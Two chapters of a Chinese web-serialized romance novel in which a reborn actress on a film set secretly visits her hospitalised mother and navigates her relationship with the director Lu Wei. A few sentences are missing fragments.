黎数放下手机,倒吸一口凉气。 第44章 第四十四章【VIP】 车里,黎数看着窗外的情景,慢吞吞的正在吃饭。 外面的树下,陆嵬和费鹤鸣正在聊着什么,两人手里都拿着已经皱巴巴的纸充当扇子,碎发一下下被风扇的飞高又下落。 虽然最近和汪兰的对手戏太不顺,但黎数的戏份前半程压的紧张,几乎没有休息过,倒也不算太紧张。 但最近完全没有排过汪兰的戏份,黎数也没和她再拍过,她心里有了预感,可能汪兰会被换掉。 午饭黎数也只吃了个七分饱,面前还剩下小半碗牛肉粒,黎数特意留到最后慢慢的吃,一边想昨晚发生的事情。 昨晚陆嵬回来的很快,说是在下楼,其实回消息没到一分钟就已经敲响了门。 门是521开的,黎数在陆嵬进去洗漱的时候,只用了两秒钟就躺平装睡了。 后来就不知不觉真的睡着了。 这会空下来了,她忍不住就开始想昨晚的事情。 她在周姨那取汤锅的时候,陆嵬很显然就在沈凝雪房间里面。 沈凝雪昨天穿的是立领旗袍,戏里的衣服,下戏了以后,像是她这种咖位的演员是不需要赶场子还衣服和道具的,可以回去慢慢弄。 黎数还记得沈凝雪昨晚上的装扮。 她整个人很随意,很居家,一点不在乎形象,也像是早就已经知道了外面是谁,现在回想起这些细节,黎数甚至想起,进门的那个黑衣人还亲了沈凝雪一口。 而陆嵬那时候一定就在沈凝雪屋里,说不定还看到了那一幕。 黎数揉了揉眉心,头疼。 她实在是没法不揣测这三人之间的关系。 后面进去的那人裹得太严实,除了那一双小腿和身材能勉强看出来是个女人,其余什么都看不出来,更别提认出来是谁了。 黎数忍不住搜了搜沈凝雪。 沈凝雪今年三十七岁,中央戏剧学院毕业,出道起就是女主,发展的一路可以说是顺风顺水。 别人求之不得的资源在她这里就如同家常便饭,五部走出国门的电影以及奖项也让她的地位更坚实稳定,主流晚会压轴、超一线大导电影、高奢代言、全球大使、三金颁奖嘉宾…… 黎数越看越心惊。 这已经不是顺利和运气两个字,就可以囊括的了的东西了。 黎数皱起了眉毛。 曾经困扰果她许久,像噩梦似的传闻再一次涌了上来。 早就有传闻说沈凝雪家庭背景不一般,然而任凭狗仔媒体挖了多年,但最终获取到的消息始终寥寥无几。 她出道了太久,浸淫娱乐圈已经足有近二十年,从来都独来独往,没有和任何人传过绯闻。 她的势头之猛无人敢说,嗅觉敏感的,早就已经知道沈凝雪没人能惹,哪怕网上已经吵得天翻地覆,针对沈凝雪的黑料铺天盖地,也不是他们能跟着落井下石的对象。 毕竟谁也说不清楚,那到底是不是造势。 直到九年前陆嵬以导演的身份横空出世,不到二十岁的年纪,第一部指导的片子,就请到了沈凝雪担任女主角。 那部片子独揽了国内外大大小小数十个奖项,也将沈凝雪彻底定格在了神坛之上,同时,也让陆嵬的名声彻底一炮打响。 从此以后,她们两个人之间,若有若无的传闻就再没断过。 说来也巧,即便是她死了两年后的今天,搜搜沈凝雪的时候,底下关联的词条,都还带着陆嵬。 那是一个视频。 多年前的视频已经有些失真了,比不上现在的清晰度。 521神不知鬼不觉的溜过来,黎数就发现视频好像被革新了一样,从标清变成了4K。 陆嵬那时候头发还是乌黑浓长的,像是刚淋过雨,躲到了沈凝雪的房车帐篷下面,沈凝雪拿了条毛巾给她擦头发,手里还有一把梳子、和一把剪刀。 但看到剪刀的瞬间,陆嵬又很不高兴的把头发扯走了。 沈凝雪很无奈的笑着敲陆嵬的头,但还是只梳子给她慢慢的梳理。 这样的相处状态,不是极其亲密的关系,是做不到这么自然的。 喜怒都随心,一点都不需要掩饰。 黎数勉强笑了笑,说:“521,谢谢你啊。” “不客气不客气不客气。”521玩着眼睛说:“小黎,你为什么要看凝雪姐姐?你很喜欢她吗?” 黎数想了想说:“她是一个很厉害的人,也很值得学习,喜欢称不上,但算是有好感。” ,沈凝雪都没的说。 黎数又看了雪的美是自骨子里透出的温柔沉着,眉眼总是含笑的,但和人之,让人不敢高攀。 陆嵬喜欢的,似乎的确型。 黎 521叽叽喳喳的说:“我也很喜欢凝雪姐姐,她会给我带巧克力形状的液态电池,还有元宝形状的,还有玫瑰花形状的……” 元宝听到自己的名字,懒洋洋的甩了甩尾巴,没起身,只把头扭到了这边。 黎数说:“她经常去陆嵬家里吗?” 元宝这次摇了摇头:“那不经常,裘夏来的最多啦。凝雪姐姐只有一年多前来的多一点,后面来的就少啦,十天半个月来吃一顿便饭啦。” 黎数半垂下头,轻轻‘哦’了声。 陆嵬上车的时候,黎数已经打算收工,让521开车回酒店了。 下午没排她的戏,后半程后她的空闲时间就多出了很多,黎数锻炼到现在,身上才刚刚有一层明显的薄薄的肌肉。 前段时间戏份太多,工作安排的又紧,有点懈怠了。 521站在驾驶位,仰着头说:“陆嵬说回去以后在房间等她一会,让你陪她去一个地方。” 但521也不知道去哪。 回去以后没多久陆嵬就回来了。 她身上穿了一身凉快的休闲服,苎麻的面料,透气、柔软,用了一根同色系的发带编了一条麻花辫侧垂在一边。 是陆嵬挺少见的放松休闲的打扮。 黎数不免多看了两眼,总觉得那套衣服有点眼熟。 陆嵬在门边站了会,毫不在意黎数落在她身上的目光,让她看了会,才简单说了句:“走吧。” 出门前春风送过来了帽子和墨镜,夏天戴口罩有点过于欲盖弥彰,大热的天,也没流感,不伦不类。 黎数也不知道要去哪,不能锻炼了,一路上都显得有些昏昏欲睡。 张姐在前面开着车,窗外的风景一路上肉眼可见的骤变,从郊区的矮楼逐渐变成市区内的高楼,直到停在了医院门前。 是黎数之前来过的中心医院。 黎数心里一动。 她不知道陆嵬今天来是做什么,但是中心医院最出名的就是肿瘤科和精神科,黎余之前说过,齐若兰就住在中心医院。 住院楼距离这里也就是一个拐角的功夫,百米左右的距离,过去再回来也很快。 她在剧组难得出来一趟,平时又住在陆嵬家里,她之前没有什么社交往来,因为没有刻意要锻炼的方向,所以都是按照从前私教教过的内容自己在家里练习。 猛地出来,虽然陆嵬问的几率不大,但一旦真就那么乌龙撞上了,解释起来又是耗费心力的一件事情。 黎数不动声色的说:“我们来这里做什么?你病了吗?” 陆嵬下车前回头看了她一眼。 两人的眼睛都被墨镜遮着,看不到对方的眼睛。 陆嵬打开车门,守在门边示意她下车,很随意的说:“你这语气,听着也不像真关心。” 黎数下车耽误一共不过几秒,随即她笑着说:“怎么可能,我当然很关系陆总的身体。” 陆嵬‘嗯’了声,听不出什么情绪来。 饭点已经过了,医院的人不算多,陆嵬径直带着黎数去了住院部。 申海市的人对中心医院都不陌生,住院部黎数小时候也常来。但十几二十年过去,医院早就已经改动过无数次,旧大楼重建,住院部也跟着翻新过。 黎余只说了病房,没说究竟在哪个病区,黎数打算待会抽空去导医台问问。 住院部人多,谁来了都得等电梯,黎数和陆嵬夹在人群里,自觉走到了最靠里面的位置。 黎数后背贴着电梯,抵着电梯内的扶手,陆嵬就站在她面前,和她面对面,挨得太近,彼此都能闻到对方身上浅淡的香气。 但黎数感觉,这时候,谁也升不起来什么旖旎风情。 她和陆嵬挨得近,和其他人也不远,狭小的电梯里各种味道混杂,很多人呼吸粗重,也有人大声说着话。 陆嵬忽然把手从黎数腰间穿了过去。 黎数一愣,发现不知道什么时候开始,她和陆嵬之间已经没有一丁点缝隙了。 电梯里实在太拥挤,外面还在不断地上着人,有人下去,又有人推了医疗物资进来,喊着‘往里走走’,人群攒动,黎数被挤到了最角落的位置,到后来,陆嵬干脆直接抱住了她。 黎数现在的身高和陆嵬有点差距,下巴抵在陆嵬肩上,转头都很困难,目光正巧和跟陆嵬一样挤的很窘迫的一个大姨对上。 大姨冲黎数尴尬一笑,好像想转身,没转动。 黎数迟疑片刻,就没推开陆嵬,可能也推不开。 这还是两个人第一次相拥。 黎数的记忆停留在最后一次和陆嵬在家里分别的时候,陆嵬在沙发上缠着她,脸很臭,不愿意她走,因为一走就又是好几个月回不去。 纠缠了大半个小时,陆嵬才终于拿起钥匙送她去机场。 之后小半年的时间,两人都没再见过。 陆嵬忽然开了口:“我姨姥姥你还记得吗?” 黎数头还是转的很难,“什么?” “给你处理过伤口的那位。” 黎数已经想起来了,“记得。” 门再一次被打开,肿瘤科到了。 运送医疗物资的医护人员率先出去,随后一大群人形咸鱼终于陆陆续续离开腌缸,重生一般的往外走。 陆嵬终于慢腾腾的松开了手。 两个身材瘦高的年轻女人出现在肿瘤科实在是有点过于招人眼球,人群中她们两个的存在感实在是太强,哪怕没刻意打扮,漂亮也也有点扎眼。 护士站在电梯左右边,护士长不得闲的和家属在说话,一边抽空签字给护士吩咐工作,临了了看见陆嵬,居然一眼认出来了。 “小嵬来啦?俞主任在办公室等你呢,你要来了直接过去,她这会刚空下来点,再晚一点就得去查房了。” 陆嵬点点头,带着黎数径直往前走。 黎数跟着走——不跟着也不行,陆嵬把她手腕攥着,从出电梯开始就没撒开过。 “你这次带我过来干什么?”黎数丈二摸不着头脑的问:“我又没伤没病的。” 陆嵬脚步停下,回头看她,不知道是想起来什么,过会一点头,颇有点欲盖弥彰的说:“也是。你现在也没什么跟我见家长的必要。” 沉吟了片刻,陆嵬从走廊窗户往外看了眼。 来的一路上温度很高,只在太阳底下走了几分钟的功夫就是一身的汗。 过了会她说:“你去帮我买两杯奶茶吧,都放少冰,有一杯要无糖纯茶,给我姨姥姥喝。” 说完陆嵬就自己往前走,把黎数一个人放这了。 黎数:“……” 但机不可失时不再来,黎数很难有机会单独离开片场,一个人来到车程快两小时的中心医院,她速度极快的下了楼,冲到医院对面的步行街按照陆嵬的要求买了两杯奶茶。 一杯少冰,一杯大冰- 俞宝珠外出交流近一个月,先去燕市开了研讨会,又参加了交流会和中西医峰会,今天第一天刚回来,屁股都还没坐热,陆嵬就杀进来了。 她从桌前起身,给陆嵬倒了杯水,陆嵬瞥了眼,嫌弃,不愿意喝。 “你姥姥和你姐姐给你这臭毛病惯得!”俞宝珠气不打一出来。 陆嵬没理会,观赏办公室大门,跟进了自己家似的走到了窗户前。 俞宝珠的办公室窗户正对着医院大门,她看到黎数急匆匆的跑了出去,也看到了黎数拎着两杯奶茶又匆匆进来。 从她们进医院开始,路上走了五分钟,电梯等了两分钟,人算多的情况下,只需要不到十分钟的时间就可以到肿瘤科。 陆嵬回头问了句:“姨姥,你们这住院部人多的时候,一般从大门过来要多久?” 俞宝珠也是不知道她到底干什么,一进来跟特工似的神神叨叨的站在窗户边上。 闻言想了想,“十来分钟吧,不超过十五分钟。” “嗯。”陆嵬应了声- 找齐若兰的病房不算难事,连导医台都没惊动,在走廊尽头,靠近水房的那一间就是。 齐若兰的病床在最里面那张,靠近窗户,黎数刚走到门边就看到她了。 其他病床大都热热闹闹,吃饭的、看电视剧的、聊天的,只有齐若兰一个人在最里面,孤零零的望着窗户外面,还在输着液,一瓶已经快见底了。 她老了很多。 黎数从高二开始没再回过家,期间齐若兰有给她转过几次钱,少的几百,多的几千。但加起来一共不到一万,还不够大学一年的学费。 荏苒十几年,哪怕是曾经极其亲密的亲生母女,先是被消耗了六七年的感情和冷待,又是十几年没见过面,感情多深都会淡了,变陌生了。 黎数垂下眼,很无奈的摇了摇头。 有护士从不远处走过来,黎数让开了门口让她们进去,齐若兰听到护士说话的动静,回过头,刚要举手示意是自己这里换药,冷不丁目光就撇到了戴着墨镜和帽子的黎数。 霎那间,齐若兰怔住了。 她几乎下意识的扶着床站了起来,忘记了自己手上还扎着针,踉跄着就要往门口走,嘴里喃喃着喊:“数数,小数……” 黎数平静的转开目光,将落点放到了门上的病房号上。 仿佛走错了的路人甲乙丙丁,黎数提着两杯奶茶,极为自然的转过了身体,后面传来一阵护士的惊叫怒斥,黎数侧身走到了楼梯间,往上走了半层楼。 后面一阵阵凌乱的喊叫和年轻护士愤怒的呼喊,半晌,外面的风波平息,黎数这才整了整手里的奶茶,重新下了楼,回到了刚刚的走廊。 走廊里很多人面面相觑,风波一过,大家又不知道发生了什么,两句聊完没有后续,也就不再说了。 地面上有零星血迹,从病房门口一路蔓延到护士站,黎数沉默的看了一会,转身上了一层楼,回到了和陆嵬分开的办公室附近。 她过去敲了敲门。 开门的是陆嵬,没有其他人在,俞宝珠已经不在办公室里。 陆嵬打量了下黎数的鬓角鼻梁,没什么汗水,身上凉凉的,也没有从外面刚进医院的人身上的暑气。 “怎么去了这么久?” 时间不多不少,刚好三十分钟整,多了一倍的时间。 黎数随口说:“天气太热,奶茶店订单爆了。” 意料之中的借口,陆嵬笑了笑:“是吗?” 之后她不动声色的接过自己的那杯,喝了口,凉的一哆嗦,皱皱眉拎在了手里。 “那走吧。”陆嵬说:“你刚走她就去查房了,这杯她喝不上了,反正没糖,你自己喝吧。” 平白跑了这么一趟,黎数算有收获,但陆嵬到底是来干什么来了? 见长辈也说得过去,但没聊两句也不告别就直接打道回府,怎么都感觉有点怪异。 闲聊间,她偶然问:“俞主任是肿瘤科主任吗?” “嗯。”陆嵬说道:“她是妇科肿瘤方面的首席专家,我今天找她帮忙看一个朋友妈妈的病例。” 黎数心里一动,“黎余的妈妈?” 陆嵬看她,笑的很清淡,但话不多:“嗯。” 黎数迟疑了片刻,“她怎么说的?” “开始治疗以后可能会出现假性进展和炎症反应,先表现出恶化的可能性也有,观察两三期以后才有定论,但以现在的指标来看,整体是往好的方向发展的。” 黎数必不可免得松了口气,还得说一句,“那黎余可以放点心了。” 陆嵬很同意:“是啊。就是后续治疗开销不少,也不知道她能不能拿出来这么一大笔钱。” 黎数沉默了几秒,“俞主任有说大概需要多少钱吗?” 陆嵬比了个五。 这个数字和黎数开始预料到的差不多。 通常大夫预估的最低价是出于最低的预算,最终结果其实需要考虑的因素过多,病人的身体、病情发展、以及各项治疗开销。 何况齐若兰不年轻了,用最便宜的药剂,年轻人或许能扛得住,但她不一定。 五十万这个数字不算多,但黎余别说五十万,五万都拿不出来。 陆嵬拎起冰块融了不少的奶茶又喝一口,这会温度已经可以入口了。 “这么大一笔钱,也不知道黎余能不能凑得够。” 黎数回去的一路上都心事重重,怕陆嵬察觉什么,一路上脸都是朝外看的。 走过长长的走廊,黎数和陆嵬一前一后回到了房间,两人都出了一身汗,黎数看了眼陆嵬,见她径直去了阳台打电话,就先拿了东西去洗漱。 热气顺着水源慢慢蒸腾,黎数闭了闭眼,脑海中想到的却是经过护士站时护士们小声说的话。 医院不可能把正在治疗的病人丢了放任不管,齐若兰已经治疗了几个疗程,配合度也高,但她的治疗费每一次都是很久以后才能凑齐。 现在已经又欠了四万多了。 黎数一时半会也凑不出钱去给她交。 如果找以前的经纪人、朋友,提两句自己以前的名字,说是自己嘱咐过的,遇到了困难可以找他们求助,别说四万,四十万都不是借不来。 可现在甚至不是钱的问题。 黎数搓了把脸,睁开了眼睛,明明是极短的时间,她却冥冥之中有一种好像有什么事情正在脱离掌控的感觉。 洗完澡出来后,黎数的精神好了一点,桌子上已经摆好了水果。 521咚咚锵锵的带着背景音靠近她,“小黎小黎,我刚刚切好的水果,陆嵬告诉我了好几样你爱吃的,你快尝尝你快尝尝,很新鲜的荔枝和山竹,还有很多现采的蓝莓,白霜都没消呢。” 元宝已经慢悠悠的抱着一块苹果啃了起来,见黎数出来,欢迎品尝似的冲她招招手,又‘喵’了一声。 水果的确都是她很爱吃的。 黎数那股不对劲的感觉又升上来了,但一时半会也抓不到什么头绪,只能暂时按捺下来。 521剥瓜子不行,但剥荔枝和山竹很在行。 陆嵬买了一箱荔枝,到现在冰块都还没化,每一颗都大只又水甜,黎数不敢多吃,吃了两颗就命令自己住嘴了,“陆总,荔枝你吃吗?” 陆嵬不知道什么时候从阳台走进来了,居高临下的看了眼湿漉漉的荔枝,摇头说:“不吃。” 黎数猜她也不会吃,小声嘀咕:“洁癖龟毛鬼。” 陆嵬洁癖又龟毛,要脏手的东西,哪怕味道再好,她再喜欢,一般都不愿意吃。 虾蟹这种能用嘴啃的就用嘴啃,甚至能剥出来一整个完整的虾壳,唇舌灵活的黎数都叹为观止。 但上嘴解决不了的,就直接不吃。 以前自己喂了还能吃两三颗,不喂就一定不会主动吃。 忽然不知道想起来什么,黎数的目光下意识的落到了陆嵬的手指上。 片刻后,她脸莫名红了红,仓促的转开视线:“荔枝热量太高了,我不能多吃,你要是不吃的话,等会我让春风拿走吧。” 陆嵬‘嗯’了声,“随便。” 第45章 第四十五章【VIP】 实景搭建的楼里,有不少空房间俨然已经被改成了休息室,但没有制冷设备,在屋里也没比外面强到哪去。 天气太闷热,山里的湿度又高,黎数身上起了不少的疹子。 外面太潮热,剧组开工的时间一般会避开下午最热的时候,所以开工的时间就提前了很多。 每天四五点左右化完妆后,黎数就不会再下车,担心皮肤问题变严重,半缩在房车上昏昏欲睡。 也不敢靠太实,她已经做好了妆发,更不能躺着,真要睡着了,要被化妆师骂。 但还是困得有点迷迷糊糊的。 昨晚上睡的时候已经挺晚了,陆嵬这些天不知道在忙些什么,每天都要在楼上待很久,打电话的对象,从费鹤鸣到沈凝雪,再到剧组大大小小的工作人员。 迷迷糊糊间,黎数只记得好像总有很轻柔的触感一直在抚摸自己。 偶尔是手,偶尔是脸,动作很轻,有一点痒痒,她下意识以为是元宝,就没在意,之后就睡死了。 第一天醒来,元宝果然蜷在她枕头上,头埋在自己颈侧呼呼大睡。 今天一大早林辰星过来蹭空调,黎数才知道陆嵬前两天那么忙到底是因为什么了——汪兰还是被换掉了。 一般很少有演员会在开拍后被换掉,毕竟投入的每一天都是钱,何况汪兰的戏份已经拍摄了很久,上上下下牵扯的地方实在是太多,损失会极大。 林辰星带着这个消息过来的时候,黎数正在看剧本。 其实剧本上她的台词不多,白玫的角色魅力不在词,而在于一幕幕镜头串联表达出的情绪,可能只是一个不经意的表情,一个细微的动作。 这样一来,对黎数的考验也就更大,因为这意味着对演员的演技要求非常高。 听见汪兰已经收拾东西离开了的消息时,黎数有些愣住了,下意识问:“离组了?” “是啊。”林辰星也不敢相信,“我和她还有几场对手戏呢,都是拍完了的,我也没感觉有哪不好,但是据说是导演组开过会以后得一致决定。” 黎数皱了皱眉。 林辰星和汪兰的对手戏不多,主要集中在嫉妒和吃醋上。 少女的嫉妒简单又纯粹,她羡慕左碧君的果决和气度,又嫉妒唯一对她好的白玫在左碧君面前却像是换了个人,有和在她面前不同的娇媚和调笑不设防。 在面对左碧君的时候,她就像是一个姐姐要被夺走了的小孩,而面前这人就是罪魁祸首。 黎数只有一场戏在场,她没看过成片,但那条算是过了的。 但过了未必等于好。 黎数想了想,说:“她情况还好吗?” 林辰星躺在房车的卡座上,闻言摇了摇头,“戏都拍到一半了,中途被换掉,谁能好的了啊。” 黎数点了点头,说:“也是。” “哎,不过我可能知道是为什么。”林辰星神秘兮兮的又凑近了点,“白玫和左碧君有好多亲密戏份呢,但是她每一次抱你的时候都很僵硬,我记得有一天拍的是你特写,你动一下她就皱一下眉毛,动一下她就皱一下眉毛,那天费导脸都黑了。” 黎数心里一动,“提前收工的那次?” 费鹤鸣很少提前收工,开拍以来提前收工最早的一次就是和汪兰最后一场拍的对手戏,那以后,她就的确没在片场再看到过汪兰了。 林辰星点点头,很八卦的小声说:“听说她女儿喜欢女人,所以汪兰对同性恋就很排斥。” 黎数了然了。 白玫和左碧君之间是战友、是惺惺相惜,是乱世之下靠着信仰和坚定才能互相扶持下去的先锋。 她们两个人之间的感情,或许不是所谓的爱情,但她们两个一定是愿意为了对方去死,也一定要保证对方安全的关系。 为了这一点,她们之间就必须要迷惑敌人,埋下一些世人最喜闻乐见的种子,才能更好,也更方便她们工作。 可如果汪兰打心底里就排斥,那可能真的就不合适。 黎数对现阶段圈里的艺人形象还都停留在两年前,她也不知道近两年,有没有什么新的、可以撑起这个角色的演员,但就以目前的情况,可能是真的很少,否则汪兰不会一开始就被启用。 走女强人的路线,但又要有足够的阅历和气魄,又要对女性之间亲密戏份不反感,还得演技入得了费鹤鸣的眼的,确实是少。 新进组的演员一直没能定下来,费鹤鸣似乎对选角颇有微词,黎数后期汪兰挂钩,汪兰一走,也就导致黎在了等待上。 林辰星狐疑的问:欢,从心底里厌恶一个情节或者是戏份,响吗?” 黎数想了想:“会。” “那你有什么不能接受的情节吗?” 这次黎数摇了摇头,“暂时还没有接触到过。” 林辰星想起什么,说:“那如果像是《校园禁区》那样的电影女主角呢?你愿意去演吗?” 国内的拍摄题材其实并不多,内容也受限很大,就是因为审核太严格了。 林辰星说的《校园禁区》是曾经顾宗年拍摄过一部有关于校园暴力的电影。 那部电影在国外取得了多个奖项,也让他再拿终身成就奖,放眼全球都没几个导演能做到,所以顾宗年也一度被导演工会盛赞,说他是一个传奇。 但那部片的镜头,所以在国内刚上映不久就一度成了禁片,女主角曾经爆火,但最后却落 ,却一夜成名,跨阶飞升。 至今有几个已经因为拍了太多流水线作品的流量,都还靠这部电影当保命符,说不是正主没演技,而是导演没水平。 黎数说:“那可是顾宗年。” 林辰星一时间也沉默了。 的确,总导演是顾宗年。 即便是现在。 黎数和汪兰的戏份拍完了以后,对未来的发展可能也不会太友好。 同性题材总是圈地自萌,小打小闹可以,一旦闹上台面就该出事了。 汪兰的岁数倒是无所谓,但黎数还年轻,未来电影圈、电视圈,她总不可能一辈子都不拍感情戏,可出道靠着费鹤鸣和双女内*容出道,以后势必会让嗑CP的人崩溃,到时候说不定会演变成多方大战。 除非黎数靠演技能塑造出一部部的经典,让绝大部分人心服口服。 这些后果开拍之前所有人都能想到,公司、团队、经纪人也都一定会有预料,但谁又能拒绝的了总导演是费鹤鸣、女主角是沈凝雪这样的诱惑? 林辰星垮着脸说:“何止是顾宗年,当时那部戏的男主角,和饰演男女主角爸妈的,可都是超一线的影帝影后,真正意义上的国家级艺术家。” 这样的诱惑下,别说是未知的、可能会有的风险。 即便是时至今日,甚至所有人都已经知道饰演女主角的梅蓝雨只能在国外发展的结局下,都没人能拒绝得了这样的班底和对手演员。 谁不想试一次、拼一把,酣畅淋漓的用一辈子的所学所得去印证。 林辰星叹了口气,“想当初我也是奔着白玫这个角色来的,我试镜之前我老板就跟我说过大致风险了,但我不还是来了吗……” 林辰星嫖了一眼黎数,小声的嘀嘀咕咕:“就是没试上,遇到了个天赋怪。” 黎数微笑着拍拍林辰星的头,“那我跟你说声对不起?” 林辰星笑嘻嘻,“那倒也不用。” 陆嵬带着餐盒上来的时候,林辰星已经笑着把黎数给挤到了卡座最里面。 两个人闹着在对戏,林辰星装腔作势的饰演左碧君,黎数被她硬拉着,一条小腿放在了她大腿上。 林辰星刻意压低声音,“长得挺漂亮,叫什么名儿?” 黎数笑吟吟的不说话,看着林辰星胡闹。 林辰星还要再往黎数那挤的时候,陆嵬撩开阻热帘,伸手敲了敲门。 林辰星回头看了眼,发现是陆嵬来了,手上还拎着餐盒,当下就把黎数的小腿往下一放,说:“放饭了放饭了,我也回我车上吃饭了,拜拜陆总。” 车上重新安静下来,黎数脸上的笑还没消,抬起头问:“今天吃什么?” 陆嵬的表情没什么变化,也可以说她一直没什么表情。 把盒子拆开,里面是简单又开胃的四菜一汤。 量不多大,两人份,旁边还有特意给元宝准备的一小碗肉丁。 都是黎数爱吃的菜,还有一碗粉蒸藕夹,她眼睛一看见就直了。 陆嵬第一个端出去的就是藕夹,顺手把菜放到了黎数面前。 旁边的清蒸龙虾和生蚝放在了两边,还有一份小葱豆腐也放在了靠黎数近的地方。 陆嵬慢吞吞的一起吃,过了好一会,才盯着桌子上的一捧野花说:“你和林辰星很熟?” 最佳一段时间的饭菜实在是太合黎数的胃口,还都是低热量但营养价值很高的,黎数吃的不亦乐乎。 陆嵬甫一出声,黎数被她问的一愣。 陆嵬又接着说:“这捧花是她上午拍戏的时候在道具院子里摘的。” 她那会在和费鹤鸣谈事情,帮着盯了会机子,绑花用的带子是林辰星戏里的手绢。 黎数反应了一会,后知后觉的说,“不是很熟,她车上的空调制冷有点问题,师傅在维修,来我这里蹭空调的,花不是送我的,可能是忘记拿了。” 陆嵬看了她一眼,然后让521给林辰星把花送了回去。 黎数话到嘴边又吞了回去,也不知道究竟该问什么,又觉得陆嵬的态度有点奇怪。 说生气不至于,但一定是不太高兴的。 这天晚上回酒店,黎数洗完澡以后走到了阳台。 剧组不知道从哪找了个烧烤师傅,直接露天扎营,一群人在下面吃吃喝喝的,好不快活。 有人拿起手机给家里人打视频,有人三三两两聚集成群喝酒欢呼。 一群年轻人玩的不亦乐乎,又从酒店里搬出来了音响,几个会唱歌的被簇拥着上去唱一些节奏强又耳熟能详的歌。 对年轻人来说这也算是个认识人的好机会,毕竟白天工作就是纯工作,不管是搭讪还是跨组聊天都不合适。 一帮年轻人边玩游戏边喝酒,黎数随意瞧了眼,发现林辰星和黎余等人也在其中。 林辰星算是个小焦点,她性格直,脾气好,但又不是真的傻,跟谁说话都能留点面子,玩的很开。 抬头间,林辰星忽然看到了在阳台上站着的黎数,在楼底下喊她过去一起玩。 黎数下意识回头看了眼房间。 陆嵬正对着电脑敲敲打打,明明没抬头,却像是也捕捉到了黎数的视线,说了句:“想去就去吧。” 黎数就下去跟她们一起玩了。 明天没排她的戏,喝的也都是啤的,游戏惩罚也就是真心话大冒险,一群人热的汗流成河也挡不住继续玩的兴致。 黎数运气算好,抽到了个真心话。 林辰星给她倒满了一瓶冰啤,喊着说:“最后一次跟人接吻是什么时候?” 黎数一愣,想了想,原主记忆她是一丁点都没有,干脆说了自己的:“七八个月前?” 三年前十月份,陆嵬最后一次来剧组探班的那一次,距离她死的那天,差不多有四个多月的光景,那晚她收工回到酒店发现灯亮着,陆嵬背对着她在电脑前办公,她还记得白亮的灯,也记得陆嵬身上穿的是她送的睡衣。 对所有人来说都实打实过了的两年,对黎数而言就像是做了一场毫无印象的梦。 但她总不能说是三年前,那时候原主才多大。 饶是如此,林辰星也兴奋的脸通红:“你早恋啊小黎!七八个月前你才多大,都没满十八呢,谁这么变态啊!” 黎数笑着说:“那是另一个问题了。” 又起哄了一会,游戏继续,但后面黎数掌握了规律就没怎么输过,遇到不能说的,她就直接喝了。 玩归玩,但大概分寸还在。 黎数喝的有点微醺,灌了一肚子啤酒的感觉也不好受,也不好这会就走,就说:“我不来了,坐一会,你们继续玩,明天要是临时加戏我怕表现不好被骂。” 这么一说大家也都谅解,吵吵嚷嚷的又继续了。 不知道说谁忽然说起了陆嵬和沈凝雪:“陆总和凝雪姐这两天好像都挺忙的,总能看见陆总上去找凝雪姐。” 有知情的人说了句,“汪兰不是被换了吗,这几天她们忙着挑人呢,白天都在片场哪有时间啊,这不只能晚上回去加班吗?” 一个年轻女孩忽然说:“我好几次都看着陆总是一个人下来的,哎,她们两个关系不一般啊。” 聊上司八卦是太正常不过的事情了,但这女孩搞错场合了。 这会演员和工作人员都在,楼上就是酒店各个房间的窗户,夜晚户外声音传的还远,被人听到的可能性太大了。 黎数对这个年轻女孩没印象,应该不是什么重要的角色,是工作人员可能也比较边缘。 话锋听着不对劲,林辰星皱眉,护沈凝雪护的一如既往,“那我还总一个人从小黎房间出来呢,进个房间聊会天而已,我还天天呆小黎房车上不下来呢,我们俩跳舞车在那晃的时候也没见人有意见啊,我就算天天睡她那又怎么了,你有意见啊?” 女孩被怼的缩了缩头,不敢和林辰星对呛。 气氛有点僵住,但林辰星活跃气氛也就是一秒钟的功夫,她笑嘻嘻的说:“我就算在这跟小黎接吻又能怎么着?我看谁会多想。” 黎数差点被水呛着,好气又好笑的看着林辰星。 林辰星女性缘一直不错,在自己之前也经常和黎余搂搂抱抱的,她微博和之前参加过的综艺也有过和圈内女性好友亲吻贴贴的图。 的确是没人会多想什么。 黎数担心众人起哄真要动真格的,毕竟喝酒上头就容易闹起来,便说道:“继续吧,下一个输的人抽签。” 后面黎数被迫着加入战局,但她算是运气好的,一直没输过。 起哄的人得不到满足,后半程大家也疲了,玩的兴致缺缺。 这时候有人突然喊着:“咱们的花絮老师提建议了啊,要不干脆小黎和小林亲一下给咱们做花絮,他上楼拿机器去了,反正你俩戏里感情那么好,戏外让大家嗑一下姐妹情也好啊!” 电影播出后一定会多方面营销,人物关系和感情纠葛、心理因素永远是经久不衰的一个方向。 这下黎数也不好再拒绝了,毕竟这种放松的场景可能不会再有第一次,林辰星的戏已经快拍完了,马上就要离组。 林辰星满脸懵逼,和黎数隔着一圈人对望,没想到随口一句还真给黎数害了。 黎数耸耸肩,坐在位置上朝林辰星张开了手,林辰星一脸窘迫,带着满脸的抱歉回头狠狠剜了提建议的人一眼。 “小黎,我对不起你。”林辰星说着,然后问:“你和你那个小对象分手了吧?我真亲你没事吧?” 黎数笑着摇了摇头,“分手了。” 但话刚说完,她一愣,被究竟占领的大脑似乎忽然想起了什么。 然后黎数伸出一只食指轻轻抵住了林辰星撅起来的嘴巴,在对方茫然不解的眼神中抬起了头。 楼上,陆嵬双臂抱着,身边站着一个小机器人,小机器人头上站着一只猫,六只眼睛同时正死死的盯着楼下。 注意到黎数的视线,四周陡然安静了下来。 众人这才意识到,黎数和陆嵬之间的关系似乎不怎么清白,前段时间更是全网都在传一个视频—— 黎数都已经下车了,又拐回去,跪在车座上和里面的陆嵬接吻。 全都被拍下来了。 林辰星瞬间捂住嘴,尖叫着抱住了身边饰演她贴身丫鬟的新人演员,“啊啊啊亲白玫哪有亲你好嗑!白玫留给左碧君亲不是更好吗啵啵啵!” 所有人的注意力瞬间被拉回,亡羊补牢似的重新起哄,带着喊道:“接吻!接吻!接吻!接吻!” 新人演员哪见过这一出,臊的满脸通红,但这次林辰星也不管了,闭着眼睛就冲着人家脸上‘叭叭叭’亲了好几下。 游戏总算是在一片热闹中结束,黎数笑着和众人告别,脚步发飘的走回了电梯。 这会在外面乘凉的人多,外面聚会也还没散,黎数一个人上楼,靠在电梯里,目光望着电梯的灯光出神。 得赶紧抽空回一趟自己的小家这个念头再一次侵占了她的脑海。 因为她不能确定齐若兰会不会因为缴费不及时出院,又或者放弃治疗。 黎余如果还在这,黎数可以直接把卡交给她,也可以继续说是借的,又或者说是陆嵬在家里发现的卡,怎么都行,反正钱拿到,黎余一时半会也管不了别的。 